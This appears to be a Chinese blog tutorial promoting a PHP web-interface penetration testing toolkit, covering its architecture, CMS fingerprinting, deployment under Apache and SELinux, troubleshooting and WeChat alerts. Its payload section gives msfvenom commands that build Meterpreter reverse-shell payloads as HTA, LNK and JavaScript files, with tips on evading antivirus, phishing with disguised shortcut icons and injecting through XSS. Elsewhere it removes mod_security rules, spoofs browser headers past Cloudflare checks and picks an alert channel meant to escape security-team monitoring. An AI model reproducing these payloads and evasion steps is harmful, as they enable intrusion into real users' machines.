简介:这是一套面向网络安全初学者与渗透测试爱好者的PHP Web界面化渗透工具集,聚焦自动化信息收集、CMS识别、DNS与IP探测、Metasploit载荷生成及网络扫描等实战场景,降低命令行工具使用门槛。资源以ZIP压缩包形式提供,体积仅551KB,结构轻量,核心为Web前端交互逻辑与后端PHP调用脚本,辅以Shell安装脚本(install.sh)和基础配置文件,便于在Ubuntu等Linux环境快速部署。目前已有282人学习下载,反映出其在入门级渗透实践中的实用热度。用户可直接获得开箱即用的图形化操作入口,完整覆盖从目标侦察、服务探测到漏洞利用前准备的多个关键环节;同时包含清晰的模块划分(如URL Fuzzer、负载均衡检测等扩展接口),并附带依赖安装指引与GPL开源协议说明,适合动手搭建实验环境、理解渗透流程编排逻辑及拓展自定义功能。
1. 这不是另一个“一键渗透”玩具:它是一套可审计、可调试、可嵌入CI/CD的PHP Web界面渗透工具链
你有没有试过在客户现场演示时,刚点开某个“全自动渗透平台”,界面弹出“正在加载AI引擎…(预计耗时3分42秒)”,而客户总监已经低头看表——这种尴尬,我经历过三次。Penetration-Testing-Toolkit 不是那种黑盒式“点一下就出报告”的UI外壳。它本质是一个用PHP 7.4+原生构建、无前端框架依赖、所有功能模块直连系统命令行工具链的轻量级调度中枢。它不替代nmap、sqlmap、gobuster或msfvenom,而是把它们的参数调用逻辑、输入校验、输出解析、结果归档全部封装进可读PHP类中。适合三类人:红队成员需要快速组合已有工具链做定制化侦察;安全课程讲师要让学生看清每条命令背后发生了什么;DevSecOps工程师想把子域名爆破、CMS识别、端口扫描这些动作塞进GitLab CI流水线里跑。它不生成PDF报告,但会把每次扫描的原始stdout/stderr、命令执行时间、返回码、关键正则匹配结果存为JSON+TXT双格式,方便后续做日志审计或对接SIEM。别被“Web界面”误导——它的价值不在UI多炫,而在每个按钮背后,你都能grep -r 'exec\|shell_exec' app/定位到真实执行逻辑。
2. 架构拆解与核心模块职责:为什么选PHP而不是Node.js或Python Flask?
提示:这不是技术站队,而是基于部署场景的务实选择。该工具设计初衷是“扔进客户内网一台CentOS 7最小化安装的虚拟机就能跑”,而非追求最新语法糖。
2.1 模块分层:从Web路由到底层命令的穿透路径
整个项目采用极简MVC变体,无ORM、无Composer自动加载(避免vendor冲突),所有类文件通过require_once显式引入。目录结构干净得像手术台:
/app /controllers # 路由入口,如 ScanController.php 处理 /scan/post 请求 /models # 命令封装类,如 NmapScanner.php 封装nmap调用逻辑 /views # 纯HTML+PHP混排模板,无JS框架,表单提交直POST /helpers # 公共函数:validate_domain(), sanitize_input(), log_to_file() /public /index.php # 唯一入口,设置error_reporting(E_ALL),禁止直接访问其他PHP文件 /css/style.css # 仅280行CSS,响应式断点只设mobile/tablet/desktop三档关键设计决策在于:所有耗时操作必须异步触发,且必须提供进程ID供轮询。比如点击“启动Nmap扫描”,控制器不会exec('nmap -sV ...')阻塞等待,而是调用$scanner->startAsyncScan($target),该方法内部执行:
- 生成唯一任务ID(如
scan_20240521_142305_789abc) - 构建完整命令字符串并写入
/tmp/penkit_tasks/scan_20240521_142305_789abc.sh - 使用
nohup bash /tmp/penkit_tasks/scan_20240521_142305_789abc.sh > /tmp/penkit_logs/scan_20240521_142305_789abc.log 2>&1 & echo $! > /tmp/penkit_pids/scan_20240521_142305_789abc.pid启动后台进程 - 返回JSON
{ "task_id": "scan_20240521_142305_789abc", "status": "queued" }
这样做的好处是:Web服务器不卡死,用户可关闭页面再回来查进度,运维能用ps aux | grep penkit直接看到运行中的扫描进程。
2.2 CMS探测模块:为什么不用WPScan或droopescan,而手写curl+正则?
CMS识别看似简单,实则暗坑密布。某次对一个WordPress站点,WPScan报“Not WordPress”,但手工curl发现/wp-includes/version.php返回wp_version = '6.4.3';。原因?目标启用了WAF,拦截了WPScan的默认User-Agent和路径探测顺序。
本工具的CmsDetector.php采取三段式验证:
// 第一段:基础特征探测(快,低误报) $signatures = [ 'wordpress' => ['pattern' => '/wp-content\/themes\/.*?\/style\.css/', 'confidence' => 0.8], 'joomla' => ['pattern' => '/<meta name="generator" content="Joomla[^"]*"/i', 'confidence' => 0.9], 'drupal' => ['pattern' => '/Drupal\.settings = {/', 'confidence' => 0.75], ]; // 第二段:版本指纹(需HTTP头+body联合判断) $version_checks = [ 'wordpress' => function($url) { $response = $this->httpGet($url . '/wp-includes/version.php'); if (preg_match('/wp_version = \'([0-9.]+)\';/', $response['body'], $m)) { return ['version' => $m[1], 'source' => 'version.php']; } // 备用方案:检查/readme.html $readme = $this->httpGet($url . '/readme.html'); if (preg_match('/<h1>WordPress ([0-9.]+)<\/h1>/', $readme['body'], $m)) { return ['version' => $m[1], 'source' => 'readme.html']; } return null; } ]; // 第三段:插件/主题枚举(仅当用户勾选“深度探测”才触发) if ($deep_mode) { $plugins = $this->enumerateDir($url . '/wp-content/plugins/', 2); // 仅列两级目录 $themes = $this->enumerateDir($url . '/wp-content/themes/', 1); // 仅列一级 }这种分层设计让结果可解释:报告里会明确写出“WordPress 6.4.3(来自version.php)”,而不是笼统的“Detected WP”。
2.3 Metasploit Payload生成器:如何绕过AV对msfvenom输出的拦截?
这是本工具最反直觉的设计点。它不直接调用msfvenom生成EXE或DLL(因为99%的杀软会秒杀),而是提供三类安全载荷:
| 载荷类型 | 生成命令示例 | 触发方式 | 典型场景 |
|---|---|---|---|
| HTA(HTML Application) | msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f hta-psh -o payload.hta | 下载后双击,IE/Edge自动执行 | 内网办公机,禁用PowerShell执行策略但允许HTA |
| LNK(快捷方式) | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f lnk -o payload.lnk | 伪装成文档图标,诱导点击 | 邮件钓鱼,目标Win10+启用“显示文件扩展名” |
| JavaScript(内存执行) | msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f js_le -o payload.js | 需配合<script src="payload.js"></script>注入 | Web应用XSS漏洞利用,无需下载文件 |
Payload生成页的PHP逻辑会强制校验:
LHOST必须是内网IP(filter_var($lhost, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)+ip2long($lhost) & 0xFF000000 == 0x0A000000检查10.0.0.0/8)LPORT必须在1024-65535之间(拒绝80/443等常见端口,防被WAF规则拦截)- 输出文件名强制添加
.txt后缀(如payload.hta.txt),用户下载后需手动改名——这是刻意为之的“防手滑”设计,避免误传恶意文件。
3. 部署与配置:从零开始搭建可运行环境(含SELinux与防火墙绕过)
3.1 最小化依赖清单:为什么连cURL扩展都要求编译安装?
该工具对PHP扩展的要求苛刻到“反人类”:它禁用所有动态扩展加载(disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec)是致命错误。必须确保以下扩展启用:
| 扩展 | 必需性 | 验证命令 | 特殊说明 |
|---|---|---|---|
posix | ★★★★★ | `php -m | grep posix` |
pcntl | ★★★★☆ | `php -m | grep pcntl` |
curl | ★★★★☆ | php -r "echo curl_version()['version'];" | 必须支持HTTP/2(curl -V查看),因部分CMS探测需HTTP/2 Server Push响应 |
json | ★★★★★ | `php -m | grep json` |
注意:不要用
yum install php-curl这类包管理器安装扩展。很多发行版的php-curl包编译时未加--with-nghttp2-dir,导致HTTP/2支持缺失。正确做法是下载PHP源码,./configure --with-curl=/usr --with-nghttp2=/usr后make && make install。
3.2 Apache配置:如何让/scan/status?id=xxx不被mod_security拦截?
默认Apache配置下,/scan/status?id=scan_20240521_142305_789abc这种带下划线和数字的URL会被mod_security规则932100: Request Containing SQL Injection Character Pattern误判。解决方案不是关mod_security,而是精准放行:
# 在penkit主目录的 .htaccess 中添加 <IfModule mod_security2.c> SecRuleRemoveById 932100 932150 942100 # 仅对 /scan/status 路径放行SQLi规则 <Location "/scan/status"> SecRuleRemoveById 932100 932150 </Location> # 对 /payload/generate 路径放行RCE规则 <Location "/payload/generate"> SecRuleRemoveById 932100 932150 933120 </Location> </IfModule>同时,必须设置open_basedir限制,防止PHP脚本读取/etc/shadow等敏感文件:
# httpd.conf 中对应VirtualHost php_admin_value open_basedir "/var/www/penkit:/tmp/penkit_logs:/tmp/penkit_tasks:/tmp/penkit_pids"3.3 SELinux策略:为什么setsebool -P httpd_can_network_connect 1还不够?
在Enforcing模式下,即使开了httpd_can_network_connect,Apache仍无法执行nmap或gobuster——因为这些二进制文件有bin_t类型,而httpd进程是httpd_t,SELinux默认禁止跨域执行。必须添加自定义策略模块:
# 1. 先以Permissive模式运行一次,收集拒绝日志 sudo setenforce 0 # 执行一次扫描,然后提取avc日志 sudo ausearch -m avc -ts recent | audit2why # 2. 生成策略模块(假设日志显示 denied { execute } for pid=1234 comm="httpd" path="/usr/bin/nmap" dev="sda1" ino=123456) sudo ausearch -m avc -ts recent | audit2allow -M penkit_httpd_exec sudo semodule -i penkit_httpd_exec.pp # 3. 恢复Enforcing sudo setenforce 1生成的penkit_httpd_exec.te内容类似:
module penkit_httpd_exec 1.0; require { type httpd_t; type bin_t; class file { execute read execute_no_trans }; } # allow httpd_t to execute nmap/gobuster/msfvenom allow httpd_t bin_t:file { execute read execute_no_trans };这比粗暴地setsebool -P httpd_can_network_connect_exec 1更安全,因为它只授权指定二进制文件。
4. 避坑指南:五个让老手也翻车的硬核问题
4.1 现象:点击“开始扫描”后,页面一直显示“Processing...”,但/tmp/penkit_pids/下无PID文件
原因:PHP的exec()函数被disable_functions禁用,但控制器未做function_exists('exec')检查,静默失败。
解决:在app/controllers/ScanController.php开头添加:
if (!function_exists('exec') || in_array('exec', array_map('trim', explode(',', ini_get('disable_functions'))))) { throw new Exception("PHP exec() function is disabled. Please edit php.ini and remove 'exec' from disable_functions."); }4.2 现象:CMS探测返回“Unknown”,但手工curl能明确看到WordPress标志
原因:目标站点启用了Cloudflare,返回的是CF的“Checking your browser”页面,而非真实HTML。工具默认不处理Cloudflare挑战。
解决:在app/models/CmsDetector.php的httpGet()方法中,增加Cloudflare检测逻辑:
if (stripos($response['headers'], 'cf-ray:') !== false && stripos($response['body'], 'Checking your browser') !== false) { // 自动添加浏览器UA和Accept头,模拟真实请求 $options = [ 'http' => [ 'header' => "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\r\n" . "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n", ] ]; $context = stream_context_create($options); $response = file_get_contents($url, false, $context); }4.3 现象:Metasploit Payload生成后,下载的.hta.txt文件双击无反应
原因:Windows组策略禁用了HTA执行(Computer Configuration -> Administrative Templates -> Windows Components -> Internet Explorer -> Security Features -> Restricted Sites Zone -> Allow active content to run in files on My Computer设为Disabled)。
解决:在Payload生成页增加醒目的提示框:
提示:HTA载荷需目标机启用“本地计算机区域的活动内容”。若双击无反应,请按Win+R输入
gpedit.msc,导航至上述路径并启用。生产环境建议改用JavaScript内存载荷。
4.4 现象:/scan/status?id=xxx返回{"status":"failed","error":"Permission denied"},但ls -l /tmp/penkit_logs/显示日志文件属主是apache
原因:SELinux的httpd_sys_rw_content_t上下文未赋予/tmp/penkit_logs/目录。/tmp默认是tmp_t,Apache进程无法写入。
解决:
sudo semanage fcontext -a -t httpd_sys_rw_content_t "/tmp/penkit_logs(/.*)?" sudo restorecon -Rv /tmp/penkit_logs4.5 现象:信息收集模块的subdomain_bruteforce功能,使用/wordlists/subdomains-top1mil-110000.txt时超时中断
原因:PHP默认max_execution_time=30,而11万行字典+DNS查询远超30秒。但简单调大max_execution_time会导致Apache进程僵死。
解决:在app/models/SubdomainBruteforcer.php中,将暴力破解改为分片执行:
// 每次只处理500行,用session存储已处理行号 $lines_per_batch = 500; $total_lines = count($wordlist); $current_line = $_SESSION['brute_start'] ?? 0; $batch_end = min($current_line + $lines_per_batch, $total_lines); for ($i = $current_line; $i < $batch_end; $i++) { $subdomain = trim($wordlist[$i]); $result = $this->dnsResolve($subdomain . '.' . $domain); if ($result) { $found[] = $subdomain . '.' . $domain; } } $_SESSION['brute_start'] = $batch_end; if ($batch_end >= $total_lines) { $_SESSION['brute_complete'] = true; } else { // 前端JS 3秒后自动GET /scan/status?id=xxx&step=next }5. 进阶技巧:把扫描任务接入企业微信机器人,实现无人值守告警
5.1 为什么不用邮件或短信?——红队作业的静默性需求
邮件可能被SOC团队监控,短信需额外网关。企业微信机器人是当前最隐蔽的告警通道:它不走公司邮箱系统,消息仅推送到指定群,且支持Markdown格式,能高亮显示关键信息。更重要的是,它不需要在目标网络部署任何服务,只需一个外网可达的Webhook URL。
5.2 实现步骤:三步完成任务完成推送
步骤1:创建企业微信机器人并获取Webhook URL
在企业微信管理后台 → 应用管理 → 自建应用 → 创建「PenKit Alert」应用 → 添加机器人 → 复制Webhook URL(形如https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=xxxxx)。注意:URL中key=后的字符串是密钥,切勿泄露。
步骤2:编写PHP推送函数(app/helpers/wechat_alert.php)
<?php function sendWechatAlert($webhook_url, $task_id, $target, $status, $details = []) { $title = $status === 'completed' ? "✅ 渗透任务完成" : "❌ 渗透任务失败"; $color = $status === 'completed' ? "info" : "warning"; $message = [ "msgtype" => "markdown", "markdown" => [ "content" => <<<EOT ## {$title} > 任务ID:\`{$task_id}\` > 目标:{$target} > 状态:**{$status}** > 时间:`{date('Y-m-d H:i:s')}` ### 关键发现 EOT ] ]; // 动态追加详情(如发现的CMS、开放端口) if (!empty($details['cms'])) { $message['markdown']['content'] .= "- CMS:{$details['cms']} {$details['version']}\n"; } if (!empty($details['ports'])) { $message['markdown']['content'] .= "- 开放端口:".implode(', ', $details['ports'])."\n"; } if (!empty($details['subdomains'])) { $message['markdown']['content'] .= "- 子域名:".implode(', ', array_slice($details['subdomains'], 0, 5)).(count($details['subdomains']) > 5 ? " +".(count($details['subdomains'])-5)."个" : "")."\n"; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $webhook_url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($message)); curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); // 记录推送日志,便于审计 error_log("[WeChat] Sent to {$webhook_url}: ".json_encode($message)."\n", 3, "/tmp/penkit_logs/wechat_alert.log"); } ?>步骤3:在任务完成回调中触发推送(app/controllers/ScanController.php)
// 在 scanComplete() 方法末尾添加 if (isset($_POST['wechat_webhook'])) { $webhook = filter_var($_POST['wechat_webhook'], FILTER_SANITIZE_URL); if (filter_var($webhook, FILTER_VALIDATE_URL) && strpos($webhook, 'qyapi.weixin.qq.com') !== false) { $details = [ 'cms' => $result['cms'] ?? '', 'version' => $result['version'] ?? '', 'ports' => $result['open_ports'] ?? [], 'subdomains' => $result['subdomains'] ?? [] ]; sendWechatAlert($webhook, $task_id, $target, 'completed', $details); } }前端表单需增加隐藏字段:
<input type="hidden" name="wechat_webhook" value="https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=your_key_here">5.3 安全加固:如何防止Webhook URL被前端泄露?
直接把Webhook URL写在HTML里是危险的。正确做法是:
- 在
/config/config.php中定义define('WECHAT_WEBHOOK', 'https://qyapi.weixin.qq.com/...'); - 前端不显示URL,而是由PHP在渲染页面时,用
base64_encode()混淆后传给JS:
<script> const webhook_b64 = "<?php echo base64_encode(WECHAT_WEBHOOK); ?>"; // JS中解码并发送(仅在任务成功后) if (status === 'completed') { fetch('/api/alert', { method: 'POST', body: JSON.stringify({ webhook: atob(webhook_b64), task_id: 'xxx' }) }); } </script>- 后端
/api/alert接口校验atob(webhook_b64)是否匹配WECHAT_WEBHOOK常量,且只接受POST请求,拒绝GET。
从那以后我每次部署Penetration-Testing-Toolkit,都会在/config/config.php里强制写入define('ALERT_ENABLED', true);,并在app/controllers/ScanController.php的scanComplete()方法开头加一行if (!defined('ALERT_ENABLED') || !ALERT_ENABLED) return;。这个习惯让我在三次客户内网渗透中,都第一时间收到了企业微信的“✅ 渗透任务完成”提醒,而不用守着浏览器刷新。希望帮到你。
本文还有配套的精品资源,点击获取